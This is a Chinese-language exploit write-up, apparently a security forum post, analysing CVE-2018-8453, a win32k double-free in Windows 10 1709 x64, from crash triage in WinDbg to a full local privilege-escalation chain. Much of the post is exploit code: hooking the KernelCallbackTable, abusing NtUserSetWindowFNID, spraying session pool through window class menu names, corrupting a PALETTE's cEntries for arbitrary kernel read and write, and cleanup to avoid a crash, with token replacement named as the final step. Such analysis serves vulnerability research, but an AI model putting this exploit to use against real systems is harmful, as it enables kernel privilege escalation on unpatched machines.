CVE-2018-8453是一种UAF类型的漏洞,漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数在对窗口对象设置FNID时没有检查窗口对象是否已经被释放,导致可以对一个已经被释放了的窗口设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷,可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。
poc和exp都来自晏子霜师傅的博客,因为师傅的poc和利用并不是同一平台,我会在文末放上我自己修改的同一版本的poc和exp。
[+] win10 x64 1709 [+] windbg preview 1.0.2001.02001
首先,我们将poc放入虚拟机中并运行,触发崩溃之后转到windbg中。先查看漏洞成因
程序试图释放一块已经释放了的pool,说明这是一个经典的Double Free漏洞。看一下这个pool的属性
这是一个0x80大小的session pool,划重点,这里后面要用到的。接着看一下调用关系
静态分析可知,win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是传递参数的工具人,将win32kfull!xxxSBTrackInit传入的参数传递给nt!ExFreePoolWithTag函数,所以我们还需要接着分析win32kfull!xxxSBTrackInit函数。
win32kfull!xxxSBTrackInit函数实现滚动条的鼠标跟随,当用户在一个滚动条按下左键(左键也是重点,后面会用)时,系统就会产生一个SBTrack结构保存用户鼠标的当前位置;用户松开鼠标时,系统会释放SBTrack结构。具体细节我们可以通过 Windows 2000 的源码来深入了解:
pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK); if (pSBTrack == NULL) return; pSBTrack->hTimerSB = 0; pSBTrack->fHitOld = FALSE; pSBTrack->xxxpfnSB = xxxTrackBox; pSBTrack->spwndTrack = NULL; pSBTrack->spwndSB = NULL; pSBTrack->spwndSBNotify = NULL; Lock(&pSBTrack->spwndTrack, pwnd); PWNDTOPSBTRACK(pwnd) = pSBTrack; pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK); if (pSBTrack == NULL) return;
win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保存SBTrack的结构,将其保存在指针pSBTrack中,之后对SBTrack结构进行了一些初始化。
xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) { if (!xxxGetMessage(&msg, NULL, 0, 0)) { // Note: after xxx, pSBTrack may no longer be valid break; } if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) { cmd = msg.message; if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <= WM_MOUSELAST) || (cmd >= WM_KEYFIRST && cmd <= WM_KEYLAST))) { cmd = SystoChar(cmd, msg.lParam); // After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or // xxxDispatchMessage, re-evaluate pSBTrack. REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop"); if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB))) // mode cancelled -- exit track loop return; (*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc); } else { xxxTranslateMessage(&msg, 0); xxxDispatchMessage(&msg); } } }
接着调用xxxSBTrackLoop函数来循环处理用户的消息,该函数循环获取消息、判断消息、分发消息。当用户放开鼠标时,xxxSBTrackLoop停止追踪消息,退出之后释放pSBTrack指向的内存。
// After xxx, re-evaluate pSBTrack REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop"); if (pSBTrack) { Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndSB); Unlock(&pSBTrack->spwndTrack); UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; }
xxxSBTrackLoop循环结束之后解引用了几个窗口的引用,然后释放掉pSBTrack指向的内存。
按理来说这里是不会报错的,以上这些操作都是正常流程,但double free的错误提示说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了,在哪里我们不得而知,先尝试下一个内存访问断点。
ba r8 ffff8d3dc1d2e9c0
断了几次都在申请内存的时候,最终,我们可以断在nt!ExFreePoolWithTag函数,该函数正打算释放pSTBrack,看起来和第二次释放没什么区别,但看一下堆栈就发现问题所在了。
这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前,就是这次本不该发生的释放导致了Double Free的发生。先看最上面标记出来的代码,这次是一个xxxEndScrell函数调用了Win32FreePool,该函数源码如下
void xxxEndScroll( PWND pwnd, BOOL fCancel) { UINT oldcmd; PSBTRACK pSBTrack; CheckLock(pwnd); UserAssert(!IsWinEventNotifyDeferred()); pSBTrack = PWNDTOPSBTRACK(pwnd); if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) { (省略部分内容) pSBTrack->xxxpfnSB = NULL; /* * Unlock structure members so they are no longer holding down windows. */ Unlock(&pSBTrack->spwndSB); Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndTrack); UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; } }
只要我们能够通过if的判断,那么就能成功释放pSBTrack。因为程序是单线程,所以创建的窗口都是用的原来的SBTrack,自然而然的,pSBTrack和pSBTrack->xxxpfnSB != NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过调用SetCapture函数来直接设置。
xxxEndScroll函数的作用我们已经知道了,接着继续循着调用路径追溯
void xxxDWP_DoCancelMode( PWND pwnd) { (省略) if (pwndCapture == pwnd) { PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd); if (pSBTrack && (pSBTrack->xxxpfnSB != NULL)) xxxEndScroll(pwnd, TRUE); (省略)
继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息,如下
LRESULT xxxDefWindowProc( PWND pwnd, UINT message, WPARAM wParam, LPARAM lParam) { (省略) case WM_CANCELMODE: { /* * Terminate any modes the system might * be in, such as scrollbar tracking, menu mode, * button capture, etc. */ xxxDWP_DoCancelMode(pwnd); } break; (省略)
如果xxxDefWindowProc函数收到了WM_CANCELMODE,就可以去执行xxxEndScroll来释放SBTrack结构。
至此,我们对这个漏洞已经有一个初步认识了,大概有以下情报
[+] 漏洞的成因是程序对一个0x80大小的session poll进行了两次释放 [+] 第一次释放发生在poc的fnDWORDHook中,通过调用xxxEndScroll函数来实现 [+] 第二次释放发生在xxxSBTrackInit函数,当xxxSBTrackLoop函数结束时会释放pSBTrack
UINT CreateWindows(VOID) { HINSTANCE hInstance; WNDCLASS wndclass = { 0 }; { hInstance = GetModuleHandleA(0); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = DefWindowProc; wndclass.hInstance = hInstance; wndclass.cbClsExtra = 0x00; wndclass.cbWndExtra = 0x08; wndclass.lpszClassName = "case"; if (!RegisterClassA(&wndclass)) { cout << "RegisterClass Error!" << endl; return 1; } } Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!Window) { cout << "Create Window Error!" << endl; return 1; } //保存句柄在扩展内存中 SetWindowLongA(Window, 0, (ULONG)Window); //WS_CHILD | SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL); cout << "Window:0x" << hex << Window << endl; cout << "SrollBar:0x" << hex << SrollBar << endl; }
注册窗口类并产生一个主窗口,以主窗口为父窗口再创建一个滚动条子控件。只注意两个地方就可以了,wndclass.cbWndExtra = 0x08
和子窗口属性设置为WS_CHILD
,后面分析的时候会讲原因。
//Windows10 1709 X64 VOID Hook_Init(VOID) { DWORD OldType = 0; ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58); VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType); //fnDWORD fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02); *(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook; //xxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x7E); //0x80 *(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook; }
首先获得KernelCallbackTable的地址,至于为什么是PEB+0x58,可以通过在windbg下dt _PEB @$peb
查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行,这样我们可以直接通过赋值来修改其中的函数地址,这里我们修改了fnDWORD
和xxxClientAllocWindowClassExtraBytes
。
这两段代码是触发崩溃之前很重要的准备工作,但是有好多东西不明不白,你可能有以下问题
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes? [+] 为什么要设置wndclass.cbWndExtra = 0x08? [+] 为什么要滚动条必须设置为WS_CHILD?
这些问题都会在接下来的触发过程分析中得到解答。
{ //Hook Hook_Init(); Flag = 1; //debug DebugBreak(); //向滚动条发送点击消息 SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008); }
在执行完Hook_Init函数之后,我们的准备工作已经基本完成了。首先向滚动条发送WM_LBUTTONDOWN消息,滚动条会调用xxxSBTrack函数来实现滚动条的鼠标跟随并且用SBTrack来保存鼠标位置,之后会调用xxxSBTrackLoop循环获取鼠标消息。xxxSBTrackLoop循环会调用fnDWORD回调函数来回到R3,如果我们hook fnDWORD的话,就可以在xxxSBRrackInit函数执行期间进行一些额外的操作,这就是为什么hook fnDWORD的原因。额外操作具体如下
VOID fnDWORDHook(PMSG MSG) { if (Flag) { Flag = 0; DestroyWindow(Window); } if (*((PULONG64)MSG + 1) == 0x70) { cout << "SendMessage" << endl; SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0); } fnDword(MSG); }
因为其他地方也可能会调用fnDWORD回调函数,所以我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if,通过Flag的值判断是否进入,这里我们调用DestroyWindow(Window)来释放父窗口。在windows 2000的源码中简单跟进了一下,我们得知DestroyWindow函数调用xxxDestroyWindow函数,xxxDestroyWindow又去调用xxxFreeWindow函数。在xxxFreeWindow函数中,我们观察一下cbWndExtra相关的内容
首先判断是否存在窗口扩展结构,如果存在的话则调用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间,这就是为什么我们要设置wndclass.cbWndExtra = 0x08
的原因。接着我们查看一下该函数的实现
这里调用了用户模式回调函数,是peb-
>KernelCallbackTable)[126]所在的地址,该处正好就是我们hook的
xxxClientAllocWindowClassExtraBytes
。所以我们前面特地设置wndclass.cbWndExtra = 0x08
和hook了xxxClientAllocWindowClassExtraBytes
都是为了进入这个函数,然后调用我们的hook函数。
VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) { if ((*(HWND*)*(HWND*)MSG) == Window) { cout << "xxxClientAllocWindowClassExtraBytes" << endl; //为什么要创建新滚动条控件呢,因为子滚动条控件的父窗口被释放后,无法获取到滚动条的内核地址了 New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL); NtUserSetWindowFNID(Window, 0x2A1); SetCapture(New_SrollBar); } xxxClientAllocWindowClassExtraBytes(MSG); }
在CreateWindows函数中,我们用SetWindowLongA(Window, 0, (ULONG)Window)
将句柄保存在了扩展内存之中,现在利用句柄判断是否为父窗口调用了xxxClientAllocWindowClassExtraBytesHook函数。在if中,我们修改了FNID的值,看起来有点迷惑,为什么要设置这些似乎不相关的东西?我们需要回顾一下xxxSBTrackInit中的内容
if (pSBTrack) { Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndSB); Unlock(&pSBTrack->spwndTrack); UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; }
在xxxSBLoop结束后,会对spwndSBNotify和主窗口的引用进行解引用。虽然父窗口已经被释放了,但子窗口还对父窗口有引用,所以相关的pool并没有被释放,但由于这是最后一个引用,HMAssignmentUnlock函数清除赋值锁的过程会减小对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象,销毁时调用win32k!ghati对应表项的销毁例程,并最终调用win32kfull!xxxDestroyWindow对窗口对象进行释放,这就是我们需要定义滚动条子控件的原因。
兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数,刚刚已经分析过了,xxxDestroyWindow调用xxxFreeWindow来释放窗口,而FNID为释放窗口的Flag属性,我们把FNID修改为了0x2A1,正好可以通过下图的验证
过了验证之后我们会再一次调用fnDWORDHook函数并发送0x70的Message,回顾一下我们的fnDWORDHook
VOID fnDWORDHook(PMSG MSG) { if (Flag) { Flag = 0; DestroyWindow(Window); } if (*((PULONG64)MSG + 1) == 0x70) { cout << "SendMessage" << endl; SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0); } fnDword(MSG); }
第二个if终于排上了用场,他负责发送一个WM_CANCELMODE消息。在分析BSOD的时候,我们已经分析了xxxEndScroll函数触发的条件,正好就是WM_CANCELMODE消息,这样一来,我们的pSBTrack就会被释放,接着再被win32kfull!SBTrackInit中的Win32FreePool释放,从而造成Double Free。
至此,我们刚刚提出的几个问题也全都解决了:
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes? 答:我们可以通过SBTrackloop和xxxFreeWindow调用这两个回调函数,hook之后可以有两次返回r3进行操作的机会。 [+] 为什么要设置wndclass.cbWndExtra = 0x08? 答:为了回调xxxClientAllocWindowClassExtraBytes。 [+] 为什么要滚动条必须设置为WS_CHILD? 答:为了引用父窗口,这样才不会在DestroyWindow的时候被直接释放。
前面我们已经分析过了,在xxxSBTrackLoop循环结束之后,HMAssignmentUnlock函数对spwndSB(父窗口)解引用的时候会调用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。
if (pSBTrack) { Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndSB); // 对主窗口解引用 Unlock(&pSBTrack->spwndTrack); // tagSBTrack解引用 UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; }
注意Unlock(&pSBTrack->spwndTrack);
,在解引用tagSBTrack之前,tagSBTrack结构已经被释放了,如果我们堆喷射很多个0x80大小的session来重引用tagSBTrack。
UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 }; memset(MenuNames, 0x43, 0x80 - 0x20); *(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette; *(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette; while (I < 0x1000) { sprintf((char*)ClassName, "WindowUaf%d", I); hInstance = GetModuleHandleA(0); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = DefWindowProc; wndclass.hInstance = hInstance; wndclass.lpszMenuName = (LPCWSTR)MenuNames; wndclass.lpszClassName = (LPCWSTR)ClassName; if (!RegisterClassW(&wndclass)) { cout << "RegisterClass Error!" << endl; return 1; }
我们分配了0x1000个TagCls结构,其中保存着指向lpszMenuName结构的指针,该结构作为0x80的session pool 正好复用tagSBTrack的内存,只要修改MenuNames的内容就可以执行HMAssignmentUnlock(任意值)
了。
HMAssignmentUnlock(任意值)
看起来好像作用不大,我们先看看HMAssignmentUnlock函数内部实现
既然我们已经获得了HMAssignmentUnlock(任意值)
,就等于是控制了rcx,函数内部对[[rcx]+8]减一,也就是我们已经获得了任意地址-1。
memset(MenuNames, 0x43, 0x1000 - 10); { hInstance = GetModuleHandleA(0); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = DefWindowProc; wndclass.hInstance = hInstance; wndclass.lpszMenuName = (LPCWSTR)MenuNames; wndclass.lpszClassName = L"LEAKWS"; if (!RegisterClassW(&wndclass)) { cout << "RegisterClass Error!" << endl; return 1; } }
PALETTE调色板在Win10 1709没有开启Type ISOLaTion,而且同样是session pool,我们可以考虑修改该结构来达到任意地址读写。先通过MenuName创建一个0x1000的pool,这是为了取得lpszMenuName的地址,通过它我们可以得到PALETTE的地址。
//创建窗口在用户映射桌面堆的位置 PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01); UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd); TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;
接着调用HMValidateHandle()
函数获取tagWND的用户态桌面堆的地址,又因为tagWND结构中保存了自己在内核堆中的地址,我们可以获得一个相对偏移,通过这个偏移我们可以获取任意结构在内核桌面堆中的地址,又因为tagWND中保存着tagCLS的地址,我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName,也就可以找到PALETTE的地址了。然后释放MenuName,这样内存就会被释放为Free状态,后面讲为什么要释放。
DestroyWindow(hwnd); return *(ULONG64*)(TagCls + 0x98);
现在我们有了目标地址,也有了任意地址-1,已经可以进行一些操作了。虽然靠这个任意地址-1为所欲为是不太可能,但是他可以帮我们构造攻击链,是的,忙活这么半天还只是在进行准备工作,具体攻击链如图所示
PALETTE中的cEntries为该结构的读写范围,pFirstColor是指向调色板项的指针,如果我们能扩大cEntries的范围,就能对pFirstColor进行读写,修改pFirstColor的值,然后就可以调用PALETTE相关的函数对内核数据进行任意读写了。
VOID GetPalette_Address(VOID) { ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL; Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01))); memset(Palette, 0x42, sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01))); Palette->palVersion = 0x0300; Palette->palNumEntries = 0x1D5; A_Palette_Address = GetMenuAddress(); cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl; To_Where_A_Palette = A_Palette_Address + 0x2D - 8; //内存缩紧 for (UINT I = 0; I < 0x1500; ++I) { CreatePalette(Palette); } UnregisterClassW(L"LEAKWS", GetModuleHandleA(0)); Where_PALETTE = CreatePalette(Palette); What_PALETTE = CreatePalette(Palette); cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl; cout << "What_PALETTE:0x" << hex << What_PALETTE << endl; }
我们设置的cEntries的值为0x1d5,这会分配一个0x800大小的kernel pool,如果分配两个的话就会重新引用刚刚释放的0x1000内存,这样的话,修改cEntries造成OOB之后就可以对*pFirstColoe进行任意读写了。
HMAssignmentUnlock
执行两次之后,cEntries的值已经被修改成了0xFFFFFFd5,足够我们进行操作了,通过 SetPaletteEntries()
以及 GetPaletteEntries()
函数即可在Ring3来任意内存读写,提权倒是很轻松了,修改Token就行了。
虽然刚刚的操作很是成功,但是BSOD还是会依旧触发,因为我们通过lpszMenuName引用了pSBTrack,在xxxSBTrack函数结束的时候依然会触发DoubleFree。我们需要在UAF_80函数中将所有的IpszMenyNames都保存了起来,利用任意读写将保存lpszMenuName 的结构赋值为0,这样就不会有对pSBTrack的错误释放,而是会在xxxSBTrack的正常流程中仅仅释放一次。
VOID FMenuName(VOID) { ULONG64 Zero = 0; UCHAR Menu[0x20] = { 0 }; for (UINT I = 0; I < 0x1000; ++I) { if (TagCls_Menu_Address[I] == 0) { continue; } *(ULONG64*)Menu = TagCls_Menu_Address[I]; SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu); SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero); } }
至此,我们成功解决了Double Free和提权,大功告成了!
http://www.whsgwl.net/
https://www.anquanke.com/post/id/97498
https://bbs.pediy.com/thread-249021.htm
有没有志同道合的小伙伴一起交流交流呢?一起聊聊技术吹吹牛,还可以一起找实习什么的?qq:447491995
[赠书活动] 《云计算安全》和《云存储安全实践》上线!老师留下通讯地址,即可获得赠书一套!送100套,送完为止!
最后于 2天前 被0x2l编辑 ,原因: 修改